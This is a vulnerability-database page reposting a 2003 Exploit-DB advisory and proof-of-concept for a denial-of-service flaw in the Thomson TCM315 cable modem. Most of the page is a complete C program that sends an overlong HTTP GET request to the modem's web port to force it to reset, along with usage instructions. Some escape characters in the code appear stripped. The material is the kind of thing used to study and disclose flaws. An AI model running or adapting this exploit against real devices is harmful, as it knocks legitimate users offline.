Thomson Cablemodem TCM315 – Denial of Service

26次阅读
没有评论

Thomson Cablemodem TCM315 – Denial of Service

漏洞ID 1054267 漏洞类型
发布时间 2003-11-24 更新时间 2003-11-24
Thomson Cablemodem TCM315 - Denial of ServiceCVE编号 N/A
Thomson Cablemodem TCM315 - Denial of ServiceCNNVD-ID N/A
漏洞平台 Hardware CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/23394
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/9091/info

A problem has been identified in Thomson Cable Modems when handling long requests on the HTTP port. Because of this, it may be possible for an attacker to deny service to legitimate users of the device. 

/*
ADVISORY - Thomson Cablemodem TCM315 Denial of Service

Shell security group (2003) http://www.shellsec.net

November 10 of 2003

Tested against: TCM315 MP
Software Version: ST31.04.00
Software Model: A801
Bootloader: 2.1.4c
Impact: Users with access to the network can remotely shutdown internet 
connection.

Discovered by: aT4r Andres[at]shellsec.net
Vendor: contacted (no answer)
Fix: no yet

usage: just, thdos.exe 192.168.100.1

*/

#include <stdio.h>
#include <winsock2.h>

void main(int argc,char *argv[]) {
char evil[150],buffer[1000];
struct sockaddr_in shellsec;
int fd;
WSADATA ws;

WSAStartup( MAKEWORD(1,1), &( ws) );

shellsec.sin_family = AF_INET;
shellsec.sin_port = htons(80);
shellsec.sin_addr.s_addr = inet_addr(argv[1]);

memset(evil,'',sizeof(evil));
memset(evil,'A',100);
sprintf(buffer,"GET /%s HTTP/1.1rnrnrn",evil);

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (connect(fd,( struct sockaddr *)&shellsec,sizeof(shellsec)) != -1) {
send(fd,buffer,strlen(buffer),0);
printf("done. Thomson Cablemodem reset!n");
sleep(100);
}
else printf("Unable to connect to CM.n");
}

相关推荐: PHP Engine Disable Source Viewing Vulnerability

PHP Engine Disable Source Viewing Vulnerability 漏洞ID 1103534 漏洞类型 Design Error 发布时间 2001-01-12 更新时间 2001-01-12 CVE编号 N/A CNNVD-ID …

正文完
 0